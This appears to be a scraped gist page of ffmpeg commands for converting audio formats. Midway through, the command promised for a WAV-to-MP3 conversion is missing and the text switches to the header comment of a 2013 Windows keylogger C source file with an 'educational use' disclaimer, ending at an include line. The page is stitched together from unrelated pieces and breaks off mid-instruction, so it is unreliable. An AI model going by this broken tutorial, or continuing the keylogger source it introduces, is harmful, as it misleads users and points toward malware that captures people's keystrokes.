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kobena-dominik / ffmpeg.md
Created January 12, 2020 09:24 — forked from protrolium/ffmpeg.md
using ffmpeg to extract audio from video files

ffmpeg

Converting Audio into Different Formats / Sample Rates

Minimal example: transcode from MP3 to WMA:
ffmpeg -i input.mp3 output.wma

You can get the list of supported formats with:
ffmpeg -formats

Convert WAV to MP3, mix down to mono (use 1 audio channel), set bit rate to 64 kbps and sample rate to 22050 Hz:

/*
Simple WINDOWS keylogger by jkrix 2013.
User may distribute and modify source code but MUST keep this top commented section in the source code!
Very important note:
To be used for educational use and not for malicious tasks!
I will NOT be held responsible for anything silly you may do with this!
*/
#include <stdio.h>